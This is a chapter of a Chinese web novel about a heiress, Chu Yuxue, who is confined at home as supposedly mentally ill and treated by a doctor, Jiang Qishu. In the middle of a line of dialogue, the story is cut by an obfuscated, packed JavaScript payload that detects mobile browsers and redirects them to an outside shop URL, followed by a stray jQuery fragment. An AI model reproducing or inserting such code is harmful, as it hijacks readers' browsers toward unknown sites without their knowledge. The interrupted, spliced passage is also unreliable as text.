“我不是说过要手工精油!你给我的是香水啊!香水和手工精油你分不清吗!”
楚家别院的其中一个卧房,楚玉雪面含怒意地指着女佣端上来的一个小巧精致的玻璃瓶,语气是十分的不耐。
女佣年龄看起来并不大,长了一张圆润的娃娃脸,此刻战战兢兢地道:“大、大小姐,您的精油已经用完了。只剩下这些香水了,我看香味差不多,就、就……”
楚玉雪精致美丽的脸上扬起一抹恶劣的笑:“精油可以用来按摩,香水可以用来按摩吗?”
女佣的娃娃脸上露出了几分纠结的神色:“好、好像不能……”
楚玉雪立刻拉下脸:“还不快快去给我换了!”
“是、是……”
女佣瑟缩了一下脖子,捧着瓶子下去了。
楚玉雪又烦躁地将房间里的东西摔摔打打,佣人们听着房间里的东西,都不敢上前劝慰,生怕一不小心又被现在情绪不太稳定的大小姐当成了出气筒。
可房间里的动静太大,一个身穿黑色中山装的中年男子拧着眉头走来,因年纪渐长而松弛的面部皮肤此时绷紧,显出了几分不怒自威。
苦着脸守在楚玉雪门口的女佣长见他连忙问好:“老爷。”
“发生了什么?”
女佣长踌躇了一下:“新来的不懂规矩,把大小姐惹毛了,不是什么大事。”
中年男子背着手,浅浅瞥了她一眼。
女佣长立刻会意,恭恭敬敬替他打开眼前的房门。
还没进门,一个花瓶就朝着门口的方向飞了过来,中年男人举起手臂一挡,花瓶被击落在地,顺着毛绒地毯的纹路滚落几圈,竟是没有一丝裂痕。
楚玉雪正在气头上,同时却也看清了来人,一下子所有的表情都僵在了脸上:“父、父亲。”
中年男子打量着她,不悦地皱起眉,连语气都是带着寒意的:“玉雪,你又在闹什么?”
楚玉雪吓了一跳,连忙低下头:“父亲,我……”
女佣长连忙道:“老爷,大小姐最近休息得不太好,可能是因为这个发了脾气。”
见中年男子的目光再度扫过来,楚玉雪连忙随着女佣长的话胡乱点头:“是的父亲,我最近休息得不太好。”
中年男子见她平静下来便只是耷下眉眼,不悦道:“不舒服就要好好休息,发脾气身体能好吗?”
听见中年男子毫无情绪起伏的声音,楚玉雪微微顿住,悄悄抬眼打量了一下这个平时不怎么关注她的父亲。
见他虽然神色冷淡,但是似乎没有特别关注自己,楚玉雪反而是松了一口气:“好的,父亲。”
中年男人瞥了她一眼,转身走了。
楚玉雪屏着呼吸等着他离开,直到中年男人的身影消失在走廊,才缓缓地吐出一口浊气。
她猛地看向身侧的女佣长,发难道:“父亲不是出门了吗?怎么这么早就回来了?!”
女佣长不卑不亢地道:“许是事情已经解决完了。”
楚玉雪咬着牙,目光愤恨地看着眼前这个名为照顾实则一直在监视她的女佣长,冷笑一声,重重地关上了房门。
女佣长的声音透过房门传来:“小姐,我去请医生过来。”
楚玉雪没有回话,只是看着满屋的狼藉,面沉如水。
女佣长的脚步声渐渐远离,楚玉雪想起刚刚父亲看自己的眼神,她蓦地打了个寒颤。
楚玉雪最近一直在反复做一个梦。
梦中她只是一本书里的恶毒女配,因为前期一直针对女主白妍,不断搞雌竞,还做了很多违法乱纪的事情,最终受到了法律的制裁,在监狱如疯子般度过了余生。
梦中的场景太过真实,而且有很多事情已经发生过了,楚玉雪心想,如果不是提前梦到了这些,那么她的人生或许真的就会像这场梦一样一错到底。
楚玉雪靠着床边,缓缓在地毯上坐下。
她自从稀里糊涂地听完风云溪的普法小课堂后,就感觉自己好像顿悟了什么,然后一连好几天开始做这样的梦。
这是什么预兆吗?还有那天莫名其妙听完了风云溪整场普法课堂的自己,好像被什么东西控制住了一样,越细想越觉得脊背发凉。
虽然觉得诡异,但是风云溪肯定有问题。
因为连续做了好几次这样的梦,楚玉雪一直精神恍惚,直到前段时间楚父察觉到异常询问了前因后果,她如实告知之后,事情就开始产生了变化。
楚父先是请了医生来给她检查精神状况,医生却说她患上了精神疾病,并发症状是情绪不稳定和各种臆想。
……然后,她就被软禁在家里了。
可是楚玉雪知道,自己除了做了那些乱七八糟的梦之外根本没有一点问题,精神病什么的更是无稽之谈。
她试图跟父亲争辩,也试图证明自己没有病,可每次却都能看见父亲冰冷的眼神,医生每次都十分耐心地替她再次诊治,然后笑着推推眼镜,告诉她确实有病,要注意休息。
……她有个鸡毛掸子的病啊!
荒谬!真的太荒谬了!那个笑眯眯的医生绝对是个庸医!
楚玉雪越想越气,一把抓过放在床头的毛绒兔子玩偶,愤恨地揪着兔子耳朵上的毛,似乎将那只毛绒玩偶当成了给她诊治的医生。
“大小姐,医生来了。”
估摸只过了十分钟,门外就响起了女佣长的声音。
楚玉雪怒道:“不准进来!”
可她的反对于事无补,房门被打开,女佣长带着标准的服务微笑对她鞠了一躬,随即弯着身子退后,给身后穿着白大褂,提着医药箱的年轻男子让出了位置。
楚玉雪眼睛蓦地瞪大。
手上动作比脑子更快一步,很快那只有点秃的粉毛兔子就被楚玉雪狠狠地砸了出去:“又是你这个庸医!!!!!!”
进来的人身形一顿,伸出骨节分明的手指,迅速擒住了飞来的毛绒兔子。
“这是……大小姐今天给我的见面礼?”
来人语气微扬,似乎是在愉悦地开着玩笑,金丝眼镜背后的双眼在兔子残破的耳朵上停留片刻,又转向了气成一只河豚的楚玉雪,淡笑着走进屋子。
“出去!”楚玉雪气恼地指着他,“你这个庸医给我出去!你没病瞎诊,还给我开一大堆乱七八糟的药,你给我滚!你再进来信不信我找人把你的行医资格证吊销了!”
来人在距离楚玉雪两米远的地方停下了,视线不着痕迹地打量着房间里的狼藉,淡淡道:“大小姐今天吃药了吗?”
身后的女佣长连忙道:“大小姐今天说什么都不肯吃药,还把您开的药全部扔了。因为大小姐今天情绪很不稳定,我们怕大小姐病情再加重,只能把您请过来看看。”
楚玉雪情绪激动:“我本来就没病!他开的药再吃下去我没病也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437806|137724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
真的有病了!你们干嘛都相信这个庸医的诊断,不相信我!!!”
“我脾气本来就不好!根本不是因为什么病所以情绪不稳定!我脾气本来就差!跟我生活了那么多年你们连我什么脾气都不知道吗?!”
“别再让他过来给我治病了!我没有病!我只是做了一个梦而已!我不知道为什么所有人都觉得我有病!”
“滚!给我滚啊!”
楚玉雪情绪彻底爆发,随便捡起旁边的东西就朝眼前的人砸了过去。
女佣长吓了一跳:“可是大小姐,这是老爷的意思。您要好好吃药病才会好起来啊。”
“都说了我没病!”
医生对这个情景已经见怪不怪,任由她将各种东西都砸在自己身上,身体一动不动,平静地接受了她情绪的狂风暴雨。
等到楚玉雪闹累了瘫坐在地毯上,情绪又慢慢地平静下来,他才拎着医药箱走近,在她面前蹲下,为她处理起了手上不小心弄出的伤口。
楚玉雪疲惫地看了他一眼,眼底全是恨意,很快又要一掌呼过来:“都是你的错!”
医生稳稳地接住了她的手,撩起眼皮看她一眼。
少女纤细的手腕被他的手紧紧攥住,在绝对的力量压制下,竟是无法动弹分毫。
楚玉雪小脸煞白,脑子里好像有什么紧绷的弦绷断了,她颤抖着身子,眼泪从眼眶里滑落,滴在地摊上。
一滴、一滴。
她呜咽着,绝望地闭上了双眼。
女佣长不知所措地站在原地,医生转头看她一眼:“我再帮她开点镇静药物,现在先让她冷静一下。”
医生松开了楚玉雪的手,在药箱里找出消毒酒精和棉布,继续处理她手上的伤口。
楚玉雪任由他处理,美眸中含着泪光再度睁开眼,冷着声音道:“我没病。”
医生假装没听到,楚玉雪带着怒意的声音再度响起:“我没病!”
医生点头:“嗯,没病。”
楚玉雪目露凶光:“没病你还给我开药!”
医生给她绑上纱布,没有搭理她,回过头对女佣长道:“大小姐没什么问题,不过还是好好休息为好。”
楚玉雪怒了:“喂!”
医生扫了她一眼,垂眸道:“大小姐,好好休息也是老爷的意思。”
可正在气头上的楚玉雪并没有听出来这是一句暗示,正欲再度发作。
医生却迅速直起身,从白大褂里掏出一个病案本,在上面写写画画,写完后将那页纸撕了下来,交给了门口的女佣长。
女佣长低头一看。
一只蚊子悄无声息地落在了女佣长的衣领上。
只见那字如同蚯蚓一样满地乱爬,难以分辨写得是什么。
除了最顶上那一栏的名字写得稍微端正了一点。
女佣长抬头,目光扫过眼前带着金丝眼镜,模样清秀的青年医生。
“还是之前的药方吗?”
“多加了点镇定药物。”医生平静道,“拿给药房的护士吧,她们看得懂的。”
女佣长看了一眼房间里的楚玉雪,点点头:“麻烦你了江医生。”
衣领上的蚊子悄无声息地飞离。
……又悄无声息地,落在了对面人的后背上。
几十公里外的风云溪睁开了眼,眼中暗芒涌动,似有千万般思绪。
——找到你了,江其恕。